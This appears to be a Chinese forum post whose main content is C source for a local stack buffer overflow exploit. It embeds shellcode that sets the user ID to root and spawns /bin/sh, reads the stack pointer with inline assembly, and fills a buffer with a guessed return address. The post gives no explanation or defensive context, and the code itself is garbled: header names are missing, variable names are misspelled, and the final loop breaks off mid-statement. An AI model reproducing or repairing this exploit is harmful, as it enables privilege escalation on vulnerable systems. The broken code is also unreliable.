该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
下面给出源代码:
#include
#include
#include
#include
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff\bin\sh";unsigned long get_sp(void){ __asm__("movl %esp, %eax“);}int main(int argc, char *argv[1]) { int i, offset = 0; unsigned int esp, ret, *addr_prt; char *buffer, *prt; int size = 500;
esp = get_sp(); if(argc > 1) size = atoi(argv[1]); if(argc > 2) offset = atoi(argb[2]); if(argc > 3) esp = strtoul(argv[3],NULL,0); ret = esp - offset;
\n", argv[0]); fprintf(stderr,"ESP:0x%x offset:0x%x Return:0x%x\n",exp,offset,ret); buffer = (char *)malloc(size); ptr = buffer; addr_ptr = (unsigned int *) ptr; for(i=0; i < size; i+=4){ *(addr_ptr++) = ret; } for(i=0; i
}